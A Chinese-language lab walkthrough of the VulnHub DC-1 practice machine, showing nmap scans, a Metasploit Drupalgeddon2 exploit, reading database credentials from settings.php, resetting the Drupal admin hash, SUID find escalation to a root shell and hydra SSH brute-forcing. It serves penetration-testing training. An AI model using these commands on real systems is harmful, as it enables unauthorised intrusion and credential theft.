[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、环境搭建:
    • 1、靶机描述
    • 2、下载靶场环境
    • 3、启动靶场环境
  • 二、渗透靶场
    • 1、目标:
    • 2、信息收集:寻找靶机真实IP
    • 3、信息收集:探端口及服务
    • 4、访问web站点
    • 5、利用MSF渗透
      • 1.MSF简单命令介绍
      • 2.搜索Drupal 7的漏洞
      • 3.进入MSF控制台搜索drupal模块
      • 4.选择模块进行测试
      • 5.设置靶机IP运行msf
      • 6.进入shell
      • 7.执行whoami
      • 8.发现flag4.txt文件
      • 9.使用python反弹一个交互式shell
      • 10.发现flag1文件
      • 11.发现flag2
      • 12.登录站点
      • 13.发现flag3
      • 14.发现最后的flag文件
      • 15.发现flag4
  • 三、相关资源

一、环境搭建:

1、靶机描述

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

根据描述信息我们可以知道本靶场环境总共有5个flag。

2、下载靶场环境

靶场下载地址:

https://www.vulnhub.com/entry/dc-1,292/

下载下来的文件如下

在这里插入图片描述

3、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。
在这里插入图片描述

设置虚拟机名称

在这里插入图片描述

导入中

在这里插入图片描述

导入完成之后打开后把网络模式设置为NAT模式。

在这里插入图片描述

虚拟机开启之后界面如下,我们不知道ip,需要自己探活,网段知道:192.168.233.0/24

在这里插入图片描述

二、渗透靶场

本环境重在在于如下两个知识点
Drupal 7 漏洞利用
find 提权

1、目标:

目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24

2、信息收集:寻找靶机真实IP

nmap -sP 192.168.233.0/24

在这里插入图片描述

本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.177

3、信息收集:探端口及服务

nmap -A -p- -v 192.168.233.177

在这里插入图片描述

在这里插入图片描述

发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务

4、访问web站点

http://192.168.233.177/

发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS

在这里插入图片描述

5、利用MSF渗透

典型的drupal,由于我们这里是老外搭建的靶机,所以就纯kali渗透即可,启动Metersploit
MSF存在drupal模块,尝试使用msf渗透

1.MSF简单命令介绍

msfconsole		进入MSF控制台
search 			搜索相应模块
use           	对应模块
show options  	查看信息
set RHOST  		远程主机ip
run           	攻击

2.搜索Drupal 7的漏洞

搜索Drupal 7的漏洞发现可利用的漏洞很多

searchsploit Drupa 7

在这里插入图片描述

3.进入MSF控制台搜索drupal模块

进入MSF控制台

msfconsole

在这里插入图片描述

搜索drupal模块

search drupal

在这里插入图片描述

4.选择模块进行测试

用2018的测试

use exploit/unix/webapp/drupal_drupalgeddon2

在这里插入图片描述

5.设置靶机IP运行msf

set rhosts 192.168.233.177

在这里插入图片描述

运行msf

run 

在这里插入图片描述

6.进入shell

shell

在这里插入图片描述

7.执行whoami

whoami

发现是www-data权限

在这里插入图片描述

8.发现flag4.txt文件

进入home目录,发现flag4.txt文件,提示需要提升权限

在这里插入图片描述

9.使用python反弹一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

10.发现flag1文件

查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件

ls
cat flag1.txt
Every good CMS needs a config file - and so do you

在这里插入图片描述

11.发现flag2

Drupal的默认配置文件为

/var/www/sites/default/settings.php

在这里插入图片描述

查看文件内容

cat /var/www/sites/default/settings.php

发现了flag2和数据库的账号密码

'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',

flag2提示,提升权限为root来查看敏感文件,或者直接爆破

在这里插入图片描述

我们先进入数据库查看

mysql -u dbuser -p

在这里插入图片描述

查看数据库,切换到drupaldb数据库

databases;
use drupaldb;

在这里插入图片描述

查看查找默认的Drupal user 表

select * from users;

发现admin信息

在这里插入图片描述
在这里插入图片描述

置换drupal密码

http://drupalchina.cn/node/2128

进入www目录

quit;

在这里插入图片描述

站点路径下执行

php scripts/password-hash.sh 新密码

在这里插入图片描述

然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库

mysql -u dbuser -p
R0ck3t
use drupaldb

在这里插入图片描述

将pass字段进行替换

update users set pass="$S$DW/j0Hhhx6pIBV4ZkoBp3mv/5l8reTwEBdpgzB/x8awTYUfFkd2k" where name="admin";

在这里插入图片描述

12.登录站点

访问站点

http://192.168.233.177/

在这里插入图片描述

进行登录,密码是之前我们自己替换的,账号是admin

admin
111111

成功登录

在这里插入图片描述

13.发现flag3

登陆战点之后,随便翻一番,发现flag3,

http://192.168.233.177/node#overlay=admin/content

在这里插入图片描述

点击flag3进入,发现提示信息

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
大致意思是提权并提示 -exec,想到suid提权 find 命令

在这里插入图片描述

使用命令查看 suid 权限的可执行二进制程序

find / -perm -4000 2>/dev/null

发现find命令

在这里插入图片描述

使用命令测试,发现为root权限

touch 666
ls
find / -name 666 -exec "whoami" \;

在这里插入图片描述

14.发现最后的flag文件

我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。

find / -name 666 -exec "/bin/sh" \;   
whoami
ls
cd /root
ls

在这里插入图片描述

查看cat thefinalflag.txt文件

cat thefinalflag.txt

文件内容如下

Well done!!!
干得好!
Hopefully you've enjoyed this and learned some new skills.
希望你已经享受了这一点,并学到了一些新的技能。
You can Let me know what you thought of this little journey
你可以告诉我你对这段小旅程的看法
by_ contacting me via Twitter
通过twitter联系我
QDCAU7
QDCAU7

大致就是说你已经通过了本关卡。

在这里插入图片描述

15.发现flag4

此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破

cat /etc/passwd

在这里插入图片描述

hydra -l flag4 -P /root/Desktop/pass.txt ssh://192.168.233.177

解释一下:

-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址

在这里插入图片描述

SSH连接登录,拿到flag4权限

ssh flag4@192.168.233.177

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、[ MSF使用实例 ] 利用永恒之黑采用正向连接 shell 获得主机权限(CVE-2020-0796)(SMBGhost)
3、简谈SUID提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/133.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python 基础教程【1】:Python介绍、变量和数据类型、输入输出、运算符

本文已收录于专栏🌻《Python 基础》文章目录1、Python 介绍2、变量和数据类型2.1 注释的使用2.2 变量以及数据类型2.2.1 什么是变量?2.2.2 怎么给变量起名?2.2.3 变量的类型🎨 整数 int🎨 浮点数(小数&…

教你成为比卡卡西还牛逼的全能忍者,全拷贝与分割函数

如何成为一个集雷切,写轮眼侦查和拷贝与一身的卡卡西,下面教你! 目录 第一式——雷切! strtok 第二式——写轮眼侦查! strerror函数 第三式——写轮眼拷贝! memcpy 模拟实现memcpy函数 😎…

Hadoop集群搭建

文章目录一、运行环境配置(所有节点)1、基础配置2、配置Host二、依赖软件安装(101节点)1、安装JDK2、安装Hadoop(root)3、Hadoop目录结构三、本地运行模式(官方WordCount)1、简介2、本地运行模式(官方WordCount)四、完全分布式运行…

多线程的风险 --- 线程安全

✨个人主页:bit me👇 ✨当前专栏:Java EE初阶👇 ✨每日一语:低头赶路,敬事如仪;自知自心,其路则明。 目 录🍸一. 线程不安全🍹二. 线程不安全的原因&#x1f…

看完书上的栈不过瘾,为什么不动手试试呢?

一.栈的基本概念1.栈的定义栈(Stack):是只允许在一端进行插入或删除的线性表。首先栈是一种线性表,但限定这种线性表只能在某一端进行插入和删除操作。其中注意几点:栈顶(Top):线性表…

【C语言蓝桥杯每日一题】—— 单词分析

【C语言蓝桥杯每日一题】—— 单词分析😎前言🙌单词分析🙌总结撒花💞😎博客昵称:博客小梦 😊最喜欢的座右铭:全神贯注的上吧!!! 😊作者…

三天吃透MySQL面试八股文

本文已经收录到Github仓库,该仓库包含计算机基础、Java基础、多线程、JVM、数据库、Redis、Spring、Mybatis、SpringMVC、SpringBoot、分布式、微服务、设计模式、架构、校招社招分享等核心知识点,欢迎star~ Github地址:https://github.com/…

C 语言编程 — 线程池设计与实现

目录 文章目录目录线程池(Thread Pool)tiny-threadpool数据结构设计Task / JobTask / Job QueueWorker / ThreadThread Pool ManagerPublic APIsPrivate Functions运行示例线程池(Thread Pool) 线程池(Thread Pool&am…

Spring Cloud学习笔记【初识微服务基础框架搭建】

文章目录微服务架构介绍架构图核心组件Spring Cloud版本对应基础框架搭建1.建造父工程2.建造子工程user工程建造auth工程建造RestTemplate 实现微服务远程调用RestTemplate 介绍配置RestTemplate测试远程访问总结微服务架构 介绍 微服务架构是一种将应用程序拆分成小型、自治…

设计模式之工厂模式

工厂模式是设计模式中的经典模式,工厂模式又可分为以下三种类型: 简单工厂模式工厂方法模式抽象工厂模式 这三种模式可以理解为同一种编程思想的三个版本,从简单到高级不断升级。本文将着重介绍简单工厂模式。 简单工厂模式 简单工厂模式&…

哈佛与冯诺依曼结构

1. 下图是典型的冯诺依曼结构 2. CPU分为三部分:ALU运算单元,CU控制单元,寄存器组。 3. 分析51单片机为何能使用汇编进行编程 51指令集(Instruction Set)是单片机CPU能够执行的所有指令的集合。在编写51单片机程序时&a…

Python打包成exe,文件太大问题解决办法(比保姆级还保姆级)

首先我要说一下,如果你不在乎大小,此篇直接别看了,因为我写过直接打包的,就多20M而已,这篇就别看了,点击查看不在乎大小直接打包这篇我觉得简单的令人发指 不废话,照葫芦画瓢就好 第1步&#…

Linux- 系统随你玩之--网络上的黑客帝国

文章目录1、前言2、TCPDump介绍2.1、问题来了: 所有用户都可以采用该命令吗?2.2、抓包原理2.3、特点2.3.1、参数化支持2.2.2、 TCP功能3、 服务器安装Tcpdump3.1、安装3.2、检查安装是否正常。4、tcpdump 命令4.1、常用功能选项4.2、输出内容5、实操5.1、…

初识C++需要了解的一些东西(2)

😁关注博主:翻斗花园第一代码手牛爷爷 😃Gitee仓库:牛爷爷爱写代码 目录🌍内联函数🌕内联函数概念🌖内联函数特性🌓auto关键字(C11)🌞类型别名⭐️auto简介☀️auto的使…

【数据库】数据库查询(进阶命令详解)

目录 1.聚合查询 1.1聚合函数 COUNT函数 SUM函数 AVG函数 MAX函数 MIN函数 1.2GROUP BY子句 1.3HAVING 2.联合查询 2.1内连接 2.2外连接 2.3自连接 2.4子查询 3.合并查询 写在前面: 文章截图均是每个代码显示的图。数据库对代码大小写不敏感&am…

java ArrayList源码分析(深度讲解)

ArrayList类的底层实现ArrayList类的断点调试空参构造的分步骤演示(重要)带参构造的分步骤演示一、前言大家好,本篇博文是对单列集合List的实现类ArrayList的内容补充。之前在List集合的万字详解篇,我们只是拿ArrayList演示了List…

C语言函数调用栈

栈溢出(stack overflow)是最常见的二进制漏洞,在介绍栈溢出之前,我们首先需要了解函数调用栈。 函数调用栈是一块连续的用来保存函数运行状态的内存区域,调用函数(caller)和被调用函数&#xf…

Java8使用Lambda表达式(流式)快速实现List转map 、分组、过滤等操作

利用java8新特性,可以用简洁高效的代码来实现一些数据处理。1 数据准备1.1 定义1个Fruit对象package com.wkf.workrecord.work;import org.junit.Test;import java.math.BigDecimal; import java.util.ArrayList; import java.util.List;/*** author wuKeFan* date …

Stable Diffusion加chilloutmixni真人图片生成模型,AI绘图杀疯了

上期图文教程,我们分享过AI绘图大模型Stable Diffusion以及中文版本文心AI绘画大模型的基础知识以及代码实现,截至到目前为止。Stable Diffusion模型已经更新到了V2.1版本,其文生图大模型也越来越火,其在2022年底,由AI绘制的图片被荣为国际大奖,让大家对AI绘画大模型也越…

Node.js-----使用express写接口

使用express写接口 文章目录使用express写接口创建基本的服务器创建API路由模块编写GET接口编写POST接口CROS跨域资源共享1.接口的跨域问题2.使用cros中间件拒绝跨域问题3.什么是cros4.cros的注意事项5.cros请求的分类JSONP接口1.回顾jsonp的概念和特点2.创建jsonp接口的注意事…
最新文章